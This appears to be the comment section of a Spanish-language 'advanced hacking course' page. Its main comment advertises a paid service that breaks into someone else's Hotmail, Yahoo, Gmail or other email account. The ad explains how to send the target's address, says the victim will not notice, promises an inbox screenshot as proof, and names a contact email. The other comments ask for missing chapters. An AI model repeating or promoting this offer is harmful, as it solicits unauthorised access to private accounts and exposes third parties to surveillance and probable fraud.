Instrucciones para obtener una contraseña de hotmail,yahoo,gmail,terra,aol,latinmail. 1º nos envía un mail a descubrelk@gmail.com solicitando obtener la contraseña de la cuenta de correo hotmail que usted quiere conocer. 2º en ese mail debe indicarnos: la dirección de correo electrónico de la persona que desea conocer la contraseña. 3º cuando recibimos su pedido comenzamos a trabajar para la obtención de la contraseña solicitada. Esto puede tardar entre 1 día,(en caso de no obtenerla no pagara nada) usted no abona nada al solicitar la contraseña, no hay pagos por adelantado. La victima no se dará cuenta que su e-mail a sido entrado por otras personas ya que la contraseña será la original con que la victima entra cada día. 4º una vez obtenida la contraseña de su encargo le enviamos las pruebas de que tenemos la contraseña a su dirección de correo (la que usted utilizo para realizar el pedido) informándole que el trabajo esta terminado. Este mail se lo enviamos y una foto de su bandeja de entrada. 5º una vez que lleguemos a un acuerdo sobre el pago le enviamos a su cuenta de correo la contraseña solicitada. 6º si usted esta de acuerdo con lo de arriba mencionado favor comunicarse con nosotros para hacer las diligencias pertinentes

descubrelk@gmail.com 100% seguro mas privacidad de datos.
Conseguir acceso root.

No puedo leer ese contenido, es posible que me lo puedan hacer llegar?
gironsummers@yahoo.com
gracias y saludos.
Bueno pero con fallas.

Te asen falta 2 capitulos el 8 y el 10 podrias ponerlos.
1 2 3 4 5 | siguiente >

Cursos gratis relacionados con 'Curso de Hacking Avanzado'

En este glosario, lo primero que se ha de definir es la palabra HACKER ya... Más »
La ingeniería inversa se basa en quitar, remover, suspender uno o más temas de protección... Más »

Autor y licencia de 'Curso de Hacking Avanzado'


Curso gratis de Zonagratuita. Extraido de: http://www.zonagratuita.com CopyLeft
Este contenido ha sido recopilado por el equipo de Wikilearning. Todo el contenido recopilado se ha obtenido respetando y comunicando en nuestro site la licencia de cada fuente.
Wikilearning tiene permiso expreso por escrito de los autores para publicar los contenidos que ha extraído de otras webs, incluyendo su uso comercial.